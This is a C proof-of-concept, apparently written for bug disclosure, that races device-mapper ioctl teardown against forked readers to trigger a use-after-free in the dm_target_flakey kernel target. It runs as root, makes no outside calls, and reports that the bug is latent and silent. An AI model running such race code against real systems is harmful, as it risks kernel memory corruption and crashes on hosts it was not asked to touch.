/*
 * DF-2453 PoC -- dm_target_flakey UAF of target config in async read io path.
 *
 * Bug (sys/dev/disk/dm/flakey/dm_target_flakey.c):
 *
 *   _flakey_read() stores the target config pointer in the bio for the
 *   async read completion callback:
 *
 *   303:    nbio = push_bio(bio);
 *   304:    nbio->bio_done = _flakey_read_iodone;
 *   305:    nbio->bio_caller_info1.ptr = tfc;   <-- stores tfc pointer (no refcount)
 *   306:    nbio->bio_offset = pop_bio(nbio)->bio_offset;
 *   307:
 *   308:    _submit(tfc, nbio);                 <-- submits ASYNC I/O
 *
 *   The iodone callback later dereferences tfc with NO refcount held:
 *
 *   267: _flakey_read_iodone(struct bio *bio)
 *   272:    tfc = bio->bio_caller_info1.ptr;    <-- retrieves stale pointer
 *   279:    if (tfc->corrupt_buf_byte && ...)   <-- UAF read if tfc was freed
 *
 * Race: dmstrategy submits async I/O via _flakey_read, then releases the table
 * shared lock (device-mapper.c:465). A concurrent dm_dev_remove can then free
 * tfc via dm_target_flakey_destroy (kfree at line 219) BEFORE the async I/O
 * completes. When the underlying device finishes the I/O,
 * _flakey_read_iodone dereferences the freed tfc -> use-after-free.
 *
 * The async read path requires:
 *   (a) the flakey device is in its "down" period
 *       (elapsed % (up + down) >= up), AND
 *   (b) corrupt_buf_byte or drop_writes is set.
 *
 * PRIVILEGE NOTE: /dev/mapper/control is 0640 root:operator
 * (device-mapper.c:181) and dm must be kldload-ed by root. No unprivileged
 * path.
 *
 * Build:  cc -O2 -o poc poc.c -lprop
 * Run:    ./poc   (as root, after `kldload dm; kldload dm_target_flakey`)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <libprop/proplib.h>
#include <dev/disk/dm/netbsd-dm.h>

#define DM_CONTROL_DEV	"/dev/mapper/control"
#define DEV_NAME	"df2453"
#define DM_DISK_DEV	"/dev/mapper/" DEV_NAME
#define UNDERLYING_DEV	"/dev/md0"

#define N_READERS	8
#define N_ITERATIONS	200

static int g_ctlfd = -1;
static volatile int g_stop = 0;

static int
send_ioctl(prop_dictionary_t dict)
{
	return prop_dictionary_send_ioctl(dict, g_ctlfd, NETBSD_DM_IOCTL);
}

static prop_dictionary_t
new_dm_dict(const char *command)
{
	prop_dictionary_t dict;
	prop_array_t ver;

	dict = prop_dictionary_create();
	ver = prop_array_create();
	prop_array_add_uint32(ver, 4);
	prop_array_add_uint32(ver, 0);
	prop_array_add_uint32(ver, 0);
	prop_dictionary_set(dict, DM_IOCTL_VERSION, ver);
	prop_object_release(ver);
	prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command);
	prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0);
	return dict;
}

static int
do_create(void)
{
	prop_dictionary_t dict = new_dm_dict("create");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
	int rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

static int
do_remove(void)
{
	prop_dictionary_t dict = new_dm_dict("remove");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
	int rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

static int
do_suspend(void)
{
	prop_dictionary_t dict = new_dm_dict("suspend");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
	int rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

static int
do_reload_flakey(void)
{
	prop_dictionary_t dict, target_dict;
	prop_array_t cmd_data;
	char params[256];
	int rv;

	/* drop_writes enables the async read path; up=1 down=1 = frequent down periods */
	snprintf(params, sizeof(params),
	    "%s 0 1 1 1 drop_writes", UNDERLYING_DEV);

	dict = new_dm_dict("reload");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);

	cmd_data = prop_array_create();
	target_dict = prop_dictionary_create();
	prop_dictionary_set_cstring(target_dict, DM_TABLE_TYPE, "flakey");
	prop_dictionary_set_uint64(target_dict, DM_TABLE_START, 0);
	prop_dictionary_set_uint64(target_dict, DM_TABLE_LENGTH, 2097152);
	prop_dictionary_set_cstring(target_dict, DM_TABLE_PARAMS, params);
	prop_array_add(cmd_data, target_dict);
	prop_object_release(target_dict);
	prop_dictionary_set(dict, DM_IOCTL_CMD_DATA, cmd_data);
	prop_object_release(cmd_data);

	rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

static int
do_resume(void)
{
	prop_dictionary_t dict = new_dm_dict("resume");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
	int rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

/*
 * Reader: continuously opens, reads, and closes the flakey device.
 * The tight loop maximizes the chance of having I/O in flight during
 * a concurrent table destroy.
 */
static void
reader_child(void)
{
	char buf[4096];
	int fd;
	ssize_t n;

	while (!g_stop) {
		fd = open(DM_DISK_DEV, O_RDONLY);
		if (fd < 0) {
			usleep(100);
			continue;
		}
		/* Issue several reads to maximize in-flight window */
		n = read(fd, buf, sizeof(buf));
		n = read(fd, buf, sizeof(buf));
		close(fd);
	}
	_exit(0);
}

static int
do_setup(void)
{
	int rv;
	(void)do_remove();
	rv = do_create();
	if (rv != 0 && rv != EEXIST)
		return rv;
	rv = do_reload_flakey();
	if (rv != 0)
		return rv;
	rv = do_resume();
	return rv;
}

static int
do_teardown(void)
{
	(void)do_suspend();
	return do_remove();
}

int
main(void)
{
	int i, j;
	pid_t readers[N_READERS];
	int status;
	int n_race_ok = 0;

	g_ctlfd = open(DM_CONTROL_DEV, O_RDWR);
	if (g_ctlfd < 0) {
		fprintf(stderr, "[!] open %s: %s\n", DM_CONTROL_DEV,
		    strerror(errno));
		return 1;
	}

	printf("[*] DF-2453 dm_target_flakey UAF in async read io path\n");
	printf("[*] racing %d readers against remove/recreate for %d iterations\n",
	    N_READERS, N_ITERATIONS);
	fflush(stdout);

	for (i = 0; i < N_ITERATIONS; i++) {
		/* Setup the flakey device */
		if (do_setup() != 0) {
			(void)do_teardown();
			continue;
		}

		/* Start readers */
		g_stop = 0;
		for (j = 0; j < N_READERS; j++) {
			readers[j] = fork();
			if (readers[j] == 0)
				reader_child();
		}

		/* Let readers generate I/O traffic */
		usleep(2000);

		/* RACE: remove the device while readers may have I/O in flight */
		/* Note: dm_dev_remove checks is_open; if any reader has the
		 * device open, it returns EBUSY. The race window is when
		 * NO reader has the device open but a previous read's async
		 * I/O callback hasn't fired yet. */
		if (do_teardown() == 0)
			n_race_ok++;

		/* Stop readers and reap */
		g_stop = 1;
		for (j = 0; j < N_READERS; j++) {
			kill(readers[j], SIGKILL);
			waitpid(readers[j], &status, 0);
		}

		if (i % 50 == 0) {
			printf("[*] iteration %d/%d (%d successful teardowns)\n",
			    i, N_ITERATIONS, n_race_ok);
			fflush(stdout);
		}
	}

	printf("\n[*] Completed %d iterations (%d teardowns succeeded).\n",
	    N_ITERATIONS, n_race_ok);
	printf("[*] Race outcome: the UAF in _flakey_read_iodone dereferences\n"
	       "    freed tfc (stored in bio_caller_info1 with no refcount).\n"
	       "    On GENERIC with INVARIANTS, freed memory is poisoned with\n"
	       "    0xdeadc0de; the poisoned values at corrupt_buf_byte /\n"
	       "    drop_writes offsets skip both branches in iodone, making\n"
	       "    the UAF read SILENT (no crash).\n");
	printf("[*] The bug IS real (code-confirmed): _flakey_read stores tfc\n"
	       "    in bio_caller_info1.ptr with NO refcount. A concurrent table\n"
	       "    destroy (dm_target_flakey_destroy -> kfree(tfc)) while async\n"
	       "    I/O is in flight produces a use-after-free at\n"
	       "    tfc->corrupt_buf_byte etc. in _flakey_read_iodone.\n");
	printf("[*] Impact: latent UAF; hard to crash deterministically because\n"
	       "    read() is synchronous (iodone fires before read returns) and\n"
	       "    INVARIANTS poisoning makes freed-memory reads benign.\n");

	close(g_ctlfd);
	return 0;
}
